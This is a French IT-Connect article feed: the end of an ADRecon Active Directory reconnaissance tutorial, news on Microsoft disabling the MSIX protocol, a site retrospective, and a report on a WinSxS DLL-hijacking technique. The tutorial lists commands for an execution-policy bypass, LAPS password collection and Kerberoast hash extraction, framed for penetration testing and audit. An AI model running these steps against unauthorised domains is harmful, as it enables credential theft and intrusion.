<p>La première étape consiste à <strong>télécharger l'archive ZIP du projet ADRecon à partir du GitHub officiel</strong> (ou à effectuer un <em>git clone</em>) afin de récupérer les sources du projet. Sachez que sur une machine Windows (testé sur Windows 11 et <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a> 2022), <strong>l'outil affole directement Windows Defender</strong>. Donc, si vous l'utilisez de façon légitime, vous devez créer une exception dans la quarantaine.</p>



<p>Une fois le prompt positionné dans le répertoire "ADRecon-master", vous pouvez exécuter ADRecon. Il est possible que la politique d'exécution de la machine locale bloque l'exécution du script <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a>, dans ce cas, nous l'exécuterons au travers d'un processus PowerShell exécuté en mode "bypass.</p>



<pre class="wp-block-code"><code>.\ADRecon.ps1
# ou
Powershell.exe -ExecutionPolicy bypass -File adrecon.ps1</code></pre>



<p>Ensuite, il suffit de <strong>patienter quelques secondes pendant l'exécution du rapport</strong>. Dans le cas présent, <strong>ADRecon est exécuté avec un utilisateur standard</strong>, c'est-à-dire qu'il n'est pas admin du domaine !</p>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: si les outils RSAT ne sont pas détectés (ce qui sera surement le cas sur un poste de travail), ADRecon va s'appuyer sur des requêtes LDAP.</p>
</blockquote>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="502" src="media/e03d1535.Execution-du-script-ADRecon.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon.jpg" alt="Exécution du script ADRecon" class="wp-image-73602" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon-550x345.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon-768x482.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Execution-du-script-ADRecon-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Suite à l'exécution du rapport, nous obtenons un dossier contenant <strong>un rapport Excel</strong> et <strong>un ensemble de fichiers CSV</strong> correspondants à l'ensemble des données collectées.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="151" src="media/ef047efe.Decouverte-Active-Directory-avec-ADRecon.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon.png" alt="" class="wp-image-73601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon-550x104.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon-150x28.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon-768x145.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Decouverte-Active-Directory-avec-ADRecon-50x9.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous allons regarder de plus près le rapport Excel. Lorsqu'on l'ouvre, nous avons accès à <strong>un sommaire qui contient un ensemble de liens </strong>vers les différents onglets du classeur Excel. Ainsi, nous pouvons naviguer facilement afin d'avoir accès aux informations sur les utilisateurs, les ordinateurs, les groupes, etc.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="481" src="media/ae8e6a72.Rapport-ADRecon.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon.jpg" alt="Rapport ADRecon" class="wp-image-73600" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon-550x331.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon-768x462.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Rapport-ADRecon-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p> Si nous prenons l'exemple de l'onglet "<strong>User Stats</strong>", il donne des indications intéressantes sur les comptes présents dans l'annuaire Active Directory, notamment le nombre de comptes activés, le nombre de comptes désactivés, mais aussi les comptes avec le "SID History", les comptes dormants, les comptes où le mot de passe n'expire jamais, etc. </p>



<p>Un autre onglet nommé tout simplement "<strong>Users</strong>" contient la liste de tous les utilisateurs de l'annuaire avec un ensemble d'informations à leur sujet.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/938b936f.ADRecon-Utilisateurs-status-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1.png"><img decoding="async" width="1143" height="486" data-id="73603" src="media/938b936f.ADRecon-Utilisateurs-status-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1.png" alt="" class="wp-image-73603" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1.png 1143w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1-550x234.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1-800x340.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1-768x327.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Utilisateurs-status-1-50x21.png 50w" sizes="(max-width: 1143px) 100vw, 1143px" /></a></figure>
</figure>



<p></p>



<p>Nous avons des onglets similaires pour d'autres objets, notamment les ordinateurs. Ceci regroupe aussi bien les postes de travail que les serveurs puisqu'ils partagent la même <em>class </em>dans l'annuaire Active Directory. Un onglet est dédié à l'inventaire des versions de Windows utilisées.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/669f31c5.ADRecon-Systeme-dexploitation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation.png"><img decoding="async" width="1505" height="362" data-id="73604" src="media/669f31c5.ADRecon-Systeme-dexploitation.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation.png" alt="" class="wp-image-73604" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation.png 1505w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation-550x132.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation-800x192.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation-150x36.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation-768x185.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-Systeme-dexploitation-50x12.png 50w" sizes="(max-width: 1505px) 100vw, 1505px" /></a></figure>
</figure>



<p></p>



<p>Par ailleurs, et dans un registre totalement différent, l'onglet "<strong>LAPS</strong>" permet de collecter les mots de passe "<strong>Administrateur</strong>" stockés dans l'Active Directory. Autrement dit, il vaut mieux que les droits de lecture des attributs LAPS soient bien gérés sinon cela peut être un vrai problème !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="129" src="media/96a3a934.ADRecon-LAPS.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS.png" alt="" class="wp-image-73605" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS-550x89.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS-150x24.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS-768x124.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-LAPS-50x8.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Au-delà de vous fournir la liste des stratégies de groupe, ADRecon récupère la liste de toutes les liaisons entre vos GPOs et vos OUs ! À chaque fois, la configuration du lien et de l'OU est intégrée (état de l'héritage, de l'option Enforced/Appliqué, de la liaison, etc.).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/bd782f9c.ADRecon-GPO-Links.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links.jpg"><img decoding="async" width="1200" height="492" data-id="73611" src="media/bd782f9c.ADRecon-GPO-Links.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links.jpg" alt="" class="wp-image-73611" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links-550x226.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links-800x328.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links-150x62.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links-768x315.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/ADRecon-GPO-Links-50x21.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p></p>



<p><strong>En résumé, le rapport généré par ADRecon contient une mine d'informations sur l'environnement Active Directory !</strong></p>



<p>Sachez que vous pouvez cibler le contrôleur de domaine de votre choix et vous authentifier avec un compte précis, en exécutant ADRecon de cette façon :</p>



<pre class="wp-block-code"><code>.\ADRecon.ps1 -DomainController &lt;adresse IP ou FQDN&gt; -Credential &lt;domaine\utilisateur&gt;</code></pre>



<p>En principe, vous pouvez également exécuter ADRecon à partir d'un ordinateur qui n'est pas joint au domaine Active Directory. Dans ce cas, l'authentification sera obligatoire (à moins que les accès anonymes soient autorisés...).</p>



<pre class="wp-block-code"><code>.\ADRecon.ps1 -Protocol LDAP -DomainController &lt;adresse IP ou FQDN&gt; -Credential &lt;domaine\utilisateur&gt;</code></pre>



<p>Enfin, vous pouvez utiliser <strong>ADRecon avec la technique d'attaque Kerberoasting</strong> (qui vise à craquer le mot de passe d'un compte de service), en l'exécutant dans un mode spécifique où il va simplement générer <strong>un fichier CSV avec la liste des comptes vulnérables</strong>. Ce fichier CSV intégrera le hash prêt à l'emploi pour Hashcat et John the Ripper.</p>



<pre class="wp-block-code"><code>.\ADRecon.ps1 -Collect Kerberoast -OutputType CSV</code></pre>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Bien que très bruyant, ADRecon est un outil très intéressant pour effectuer une collecte d'informations dans un annuaire Active Directory. Le rapport étant très complet, il sera utile dans plusieurs scénarios : un test d'intrusion, effectuer un état des lieux de son Active Directory (en prévision d'un peu de nettoyage, peut-être), etc.</p>



<p>Pour les utilisateurs de Microsoft Entra ID / <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/tutos-azure/" target="_blank" rel="noopener" title="Azure" data-wpil-keyword-link="linked">Azure</a> Active Directory, sachez qu'il existe une version dédiée à cet environnement : <strong>AzureADRecon</strong>.</p><p>The post <a href="https://www.it-connect.fr/decouverte-reconnaissance-active-directory-adrecon/">ADRecon, un outil en PowerShell pour collecter des informations sur l’Active Directory</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73891
title: Microsoft désactive le protocole MSIX sur Windows pour vous protéger de certains malwares
uri: Microsoft-désactive-le-protocole-MSIX-sur-Windows-pour-vous-protéger
url: https://www.it-connect.fr/windows-microsof-desactive-msix-protection-malwares/
content:
<p><strong>Une nouvelle fois, Microsoft a pris la décision de désactiver l'appel du protocole MSIX dans les applications dans le but de renforcer la sécurité des utilisateurs. En effet, plusieurs groupes de cybercriminels l'exploitent pour distribuer des logiciels malveillants. Faisons le point !</strong></p>



<p>D'après Microsoft, les cybercriminels exploitent fréquemment la faille de sécurité <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43890" target="_blank" rel="noreferrer noopener">CVE-2021-43890</a> présente dans l'installeur Windows AppX pour déployer des malwares en passant outre les systèmes de protection de Windows (notamment SmartScreen). Ceci peut passer par la <strong>diffusion de publicités malveillantes pour des logiciels populaires, mais également des messages sur Microsoft Teams.</strong> Les malwares prennent la forme d'un <strong>package d'application au format MSIX</strong>, signé et malveillant.</p>



<p><strong>En février 2022, Microsoft avait déjà pris la décision de désactiver l'appel du protocole MSIX</strong>, notamment car il était exploité par le <a href="https://www.it-connect.fr/emotet-se-propage-sous-la-forme-dun-paquet-dinstallation-adobe-pdf/" target="_blank" rel="noreferrer noopener">malware Emotet qui se propageait sous la forme d'un package MSIX d'Adobe PDF malveillant</a>. On pourrait également citer deux autres malwares qui s'appuient sur cette méthode : Bazarloader et Trickbot.</p>



<h2 class="wp-block-heading">Un changement opéré le 28 décembre 2023</h2>



<p>Le <strong>28 décembre 2023</strong>, Microsoft a annoncé avoir désactivé cette fonctionnalité dans l'installeur Windows AppX. Ce qui est étonnant d'un côté, et <strong>nous ne savons pas quand et pourquoi Microsoft avait réactivé cette méthode entre février 2022 et décembre 2023</strong>.</p>



<p>"<em>Le 28 décembre 2023, Microsoft a mis à jour CVE-2021-43890 afin de désactiver le schéma URI (protocole) de ms-appinstaller par défaut, dans le cadre d'une réponse de sécurité visant à protéger les clients contre les techniques évolutives des attaquants contre les mesures précédentes. Cela signifie que les utilisateurs ne pourront plus installer une application directement à partir d'une page web en utilisant le programme d'installation de paquets MSIX.</em>", peut-on lire sur le <a href="https://msrc.microsoft.com/blog/2023/12/microsoft-addresses-app-installer-abuse/" target="_blank" rel="noopener nofollow" title="">site de Microsoft</a>.</p>



<p>Désormais, l'installation devra se faire en deux temps : d'abord, il faudra télécharger le package, puis lancer son installation manuellement. Ceci est important, car cela permettra à la solution de sécurité présente sur la machine d'analyser le package. À ce sujet, Microsoft précise : "<em>Au lieu de cela, les utilisateurs devront d'abord télécharger le paquet MSIX pour l'installer, ce qui garantit que les protections antivirus installées localement fonctionneront.</em>"</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Ce changement est intégré à<strong> l'application "App Installer"</strong> de Microsoft à partir de la <strong>version 1.21.3421.0</strong>. Il s'agit d'une version datant de plusieurs mois, donc si vous mettez à jour régulièrement vos machines, vous devriez être protégé. Toutefois, cette commande PowerShell vous permettra d'obtenir la version d'App Installer sur votre machine :</p>



<pre class="wp-block-code"><code>(Get-AppxPackage Microsoft.DesktopAppInstaller).Version</code></pre>



<p>Si besoin, vous pouvez mettre à jour l'App Installer via WinGet à l'aide de cette commande :</p>



<pre class="wp-block-code"><code>winget upgrade Microsoft.AppInstaller</code></pre>



<p>Vous avez également la possibilité de <strong>configurer un paramètre par stratégie de groupe </strong>dans le but de désactiver la fonction d'appel du protocole MSIX. La firme de Redmond précise que le paramètre suivant doit être désactivé : </p>



<ul>
<li><strong>Computer Configuration > Administrative Templates > Windows Components > Desktop App Installer > Enable App Installer ms-appinstaller protocol</strong></li>
</ul>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-msix-protocol-handler-abused-in-malware-attacks/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/windows-microsof-desactive-msix-protection-malwares/">Microsoft désactive le protocole MSIX sur Windows pour vous protéger de certains malwares</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73899
title: IT-Connect : la rétrospective de 2023 et les objectifs de 2024
uri: IT-Connect-la-rétrospective-de-2023-et-les-objectifs-de-2024
url: https://www.it-connect.fr/it-connect-la-retrospective-de-2023-et-les-objectifs-de-2024/
content:
<p><strong>Tout d'abord, je vous souhaite une excellente année 2024 au nom de toute l'équipe IT-Connect ! Que cette nouvelle année voit s'accomplir vos rêves et réussir vos&nbsp;projets, aussi bien sur le plan personnel, que professionnel ! Cet article a pour objectif de faire le point sur l'année 2023 et de vous partager mes objectifs, et mes idées, pour 2024.</strong></p>



<h2 class="wp-block-heading">Quelques statistiques clés sur l'année 2023 !</h2>



<p>Même si vous êtes toujours plus nombreux à lire les articles et les vidéos, à les commenter, à les partager, etc... J'aime bien partager avec vous quelques statistiques notamment car les chiffres témoignent de l'évolution de la communauté IT-Connect !</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="445" src="media/4df44f12.IT-Connect-Stats-cles-2023-Publi-LinkedIn.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn.jpg" alt="" class="wp-image-73920" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn-550x306.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn-150x83.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn-768x427.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Stats-cles-2023-Publi-LinkedIn-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">Le site IT-Connect</h3>



<p><strong>Année après année, le nombre de visiteurs augmente de manière significative.</strong> Je suis le premier surpris, et cela ne fait que m'encourager à continuer ! Voici deux chiffres clés :</p>



<ul>
<li><strong>6,99 millions de visites</strong>, soit +31% par rapport à 2022</li>



<li><strong>10,6 millions de pages vues</strong>, soit +41% par rapport à 2022</li>
</ul>



<p>Pour la première fois, le site a dépassé les 10 millions de pages vues : c'est incroyable ! Que ce soit pour les tutoriels ou les articles liés à l'actualité (+ de 400 articles liés à l'actualité cyber en 2023 !), il y a un réel engouement de la part de la communauté pour le contenu du site ! J'espère que l'année 2024 sera encore meilleure que 2023 ! </p>



<h3 class="wp-block-heading">La chaîne YouTube IT-Connect</h3>



<p>À l'heure où j'écris ces lignes, la chaîne YouTube compte un peu plus de <strong>55 600 abonnés</strong> : soit 22 000 abonnés en plus sur l'année 2023. En 2023, la chaîne YouTube a cumulé <strong>plus de 1,8 million de vues </strong>et voici les 5 vidéos les plus regardées (un Top 5 qui évolue peu par rapport à 2022) :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="597" height="342" src="media/c4699d7e.IT-Connect-Top-Videos-2023.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Top-Videos-2023.png" alt="" class="wp-image-73911" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Top-Videos-2023.png 597w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Top-Videos-2023-550x315.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Top-Videos-2023-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/IT-Connect-Top-Videos-2023-50x29.png 50w" sizes="(max-width: 597px) 100vw, 597px" /></figure>



<p>Je prends un réel plaisir à faire ces vidéos et le format semble vous plaire ! Surtout, je sens que c'est un bon complément aux articles mis en ligne sur IT-Connect !</p>



<h2 class="wp-block-heading">Les objectifs et les projets pour 2024</h2>



<h3 class="wp-block-heading">Une mise à jour légère de l'interface</h3>



<p>En 2023, je pensais effectuer une refonte de l'interface du site, mais je ne l'ai pas fait (probablement, car je priorise toujours la création de nouveaux contenus, mais aussi, car le thème actuel continue de plaire). </p>



<p>En 2024, ce n'est pas prévu pour le moment, mais au cours du premier trimestre 2024, l'interface du site IT-Connect aura tout de même droit à une "petite mise à niveau". Bien l'aspect général du site restera le même, quelques éléments seront améliorés : le slider en page d'accueil, quelques éléments graphiques mal positionnés, etc...</p>



<h3 class="wp-block-heading">De nouveaux sujets seront abordés </h3>



<p>IT-Connect va continuer à s'enrichir de tutoriels sur les thématiques habituelles telles que l'Active Directory, les GPO, PowerShell, Windows Server, Linux, etc.... Et j'aimerais <strong>enrichir fortement les catégories liées à la cybersécurité, à Microsoft 365 et à Azure </strong>! </p>



<p>Ceci va permettre de vous parler d'outils et services pas encore évoqués sur IT-Connect. Si l'on prend l'exemple de Microsoft 365,<strong> une série de tutoriels sur Microsoft Intune </strong>est en cours de préparation : près de 10 articles sont déjà prêts (ou presque), et il me reste les vidéos à produire ! Par ailleurs, j'aimerais vous <strong>proposer du contenu sur Ansible et Terraform</strong>, et peut-être d'autres outils DevOps !</p>



<h3 class="wp-block-heading">Une boutique en ligne</h3>



<p>Aujourd'hui, seules quelques personnes ont la chance d'avoir des goodies, un t-shirt ou une veste à l'effigie d'IT-Connect. Pourtant, la communauté IT-Connect, c'est des dizaines de milliers de personnes ! En 2024, j'aimerais vous proposer <strong>une boutique en ligne IT-Connect</strong> où chacun pourra acheter les goodies de son choix ! Un sondage sera probablement mis en ligne pour vous demander votre avis sur ce sujet ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<h3 class="wp-block-heading">Traduction des articles en d'autres langues</h3>



<p>La majorité des visiteurs d'IT-Connect sont situés en France : 91% en 2023, suivi par les États-Unis (5%) et le Royaume-Uni (1,2%). Afin que le contenu soit utile à encore plus de personnes, <strong>il faudrait le traduire en plusieurs langues </strong>: à minima l'anglais et l'espagnol, dans un premier temps.</p>



<p>Mon objectif est de continuer à écrire en français, car IT-Connect est et restera un site web en français, tout en proposant des versions traduites de certains articles. Pour cela, il faut que je cherche une solution de traduction automatique qui donne de très bons résultats : il ne faut pas que ça ressemble à une vulgaire traduction via Google Traduction....</p>



<h3 class="wp-block-heading">Les objectifs pour la chaîne YouTube</h3>



<p>En 2023, il y a eu 86 nouvelles vidéos mises en ligne sur la chaîne YouTube IT-Connect ! Pour 2024, j'aimerais <strong>publier au mois 100 vidéos</strong> (soit entre 8 et 9 par mois) tout en gardant la même qualité et en continuant à varier les sujets.</p>



<p>Par ailleurs, j'ignore si c'est réaliste, mais je me suis fixé l'objectif d'<strong>atteindre 100 000 abonnés</strong> à la fin de l'année 2024 ! Même si, au final, mon objectif principal sera d'être régulier et de proposer du contenu pertinent. Et oui, vous l'aurez compris : il y aura toujours des vidéos, de façon régulière, tout au long de l'année 2024 ! En tout cas, c'est ce que je souhaite !</p>



<p></p>



<h2 class="wp-block-heading">Rejoignez la communauté IT-Connect</h2>



<p>Au-delà du site IT-Connect, vous pouvez rejoindre la communauté IT-Connect sur le serveur Discord : il y a plus de 2 500 membres ! Vous pouvez également vous inscrire à notre newsletter hebdomadaire pour recevoir un récapitulatif de la semaine directement dans votre boite de réception ! Voici deux liens utiles :</p>



<ul>
<li><a href="https://discord.gg/KMWN7TUQfm" target="_blank" rel="noreferrer noopener">Rejoindre le serveur Discord</a></li>



<li><a href="https://bit.ly/ITCNewsletterOn" target="_blank" rel="noreferrer noopener">S'inscrire à la newsletter officielle (1 e-mail par semaine)</a></li>
</ul>



<p>N'oubliez pas de nous suivre également sur <a href="https://www.youtube.com/c/It-connectFr/?sub_confirmation=1" target="_blank" rel="noopener nofollow" title="">YouTube</a>, <a href="https://www.linkedin.com/company/it-connect-fr/" target="_blank" rel="noopener nofollow" title="">LinkedIn</a>, Facebook, Instagram et X (Twitter) ! </p>



<h2 class="wp-block-heading">Pour conclure</h2>



<p>Bien que je sois aux manettes d'IT-Connect et que je sois l'auteur de la majorité des articles : je ne suis pas seul ! J'en profite pour remercier les personnes qui ont partagé des articles sur IT-Connect en 2023 (Mickael, Florian D, Geoffrey, Yohan, Clément, Fares, Hugues, etc...), c'est super important pour diversifier les thèmes abordés, avoir des approches différentes, etc... Nous apprenons tous les uns des autres !</p>



<p>Si vous avez des idées pour la communauté IT-Connect, des suggestions de sujets pour le contenu, etc... N'hésitez pas à commenter cet article ! J'ai encore bien d'autres idées, et tout n'est pas dévoilé dans cet article : c'est important de garder une part de secret ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> - Sachez que je prends un réel plaisir à écrire tous ces articles ! Merci à toutes et tous pour votre soutien sans failles...!!</p>



<p><strong>Que pensez-vous de cette rétrospective, des objets et des idées pour 2024 ?</strong></p><p>The post <a href="https://www.it-connect.fr/it-connect-la-retrospective-de-2023-et-les-objectifs-de-2024/">IT-Connect : la rétrospective de 2023 et les objectifs de 2024</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73922
uri: Exécution-de-code-malveillant-Windows-10-et-Windows-11-trompés-par
title:
Exécution de code malveillant : Windows 10 et Windows 11 trompés par cette technique de DLL hijacking !

url:
https://www.it-connect.fr/execution-de-code-malveillant-windows-10-et-windows-11-trompes-par-cette-technique-de-dll-hijacking/

content:
<p><strong>Des chercheurs en sécurité ont mis en lumière une nouvelle variante de la technique "DLL hijacking" sous Windows 10 et Windows 11. Grâce à cette méthode, il est possible d'exécuter du code malveillant sur la machine tout en outrepassant les mécanismes de sécurité. Voici ce qu'il faut savoir.</strong></p>



<p>Sous Windows, lorsqu'un processus est exécuté et qu'il doit <strong>charger une bibliothèque "DLL"</strong>, il va effectuer la recherche du fichier dont il a besoin dans <strong>un ordre bien spécifique.</strong> Ceci ouvre la porte à des attaques potentielles via une technique appelée "DLL hijacking". En effet, pour<strong> localiser la ressource en question</strong>, le processus va d'abord <strong>regarder dans le répertoire à partir duquel il est exécuté</strong>, puis dans le dossier "C:\Windows\System32", puis dans "C:\Windows\System", et ensuite dans "C:\Windows", avant de s'intéresser éventuellement au répertoire de travail actuel si la ressource n'a pas encore été trouvée.</p>



<p>Les chercheurs en sécurité de Security Joes ont publié un rapport qui évoque une nouvelle variante d'exploitation de cette technique. Dans le cas présent, <strong>les fichiers situés dans le dossier "C:\Windows\WinSxS" sont pris pour cible</strong>. Le répertoire <strong>WinSxS </strong>(<em>Windows Component Store</em>) est intégré au système d'exploitation Windows (c'est donc un emplacement de confiance) et il est utilisé pour stocker des données lors de certaines opérations de maintenance (notamment pour les mises à jour).</p>



<p><strong>L'idée des chercheurs en sécurité est la suivante</strong> : utiliser un binaire présent dans le dossier WinSxS (et qui a pour habitude de rechercher une DLL bien précise) afin de <strong>l'exécuter à partir d'un répertoire contrôlé par l'attaquant</strong>. Si ce répertoire contrôlé par l'attaquant contient la DLL recherchée par le binaire, alors<strong> il chargera cette version</strong> conformément à l'ordre de recherche d'une DLL. Si elle est malveillante, ceci permettra à l'attaquant d'exécuter du code arbitraire sur la machine sans même disposer des privilèges d'administration !</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="740" height="505" src="media/d35b242b.Security-Joes-DLL-Hijacking-2024-Windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11.jpg" alt="" class="wp-image-73923" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11.jpg 740w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11-550x375.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Security-Joes-DLL-Hijacking-2024-Windows-11-130x90.jpg 130w" sizes="(max-width: 740px) 100vw, 740px" /><figcaption class="wp-element-caption">Source : securityjoes.com</figcaption></figure>



<p>"<em>Nous avons réussi à injecter notre DLL personnalisée en la renommant "mscorsvc.dll" et en exécutant la ligne de commande mentionnée ci-dessus depuis notre répertoire actuel, en ciblant spécifiquement le processus "ngentask.exe".</em>", peut-on lire dans le <a href="https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout" target="_blank" rel="noopener nofollow" title="">rapport</a> de Security Joes. <strong>Ici, il s'agit d'un exemple avec le binaire "ngentask.exe", mais d'autres binaires pourraient être vulnérables à cette technique.</strong></p>



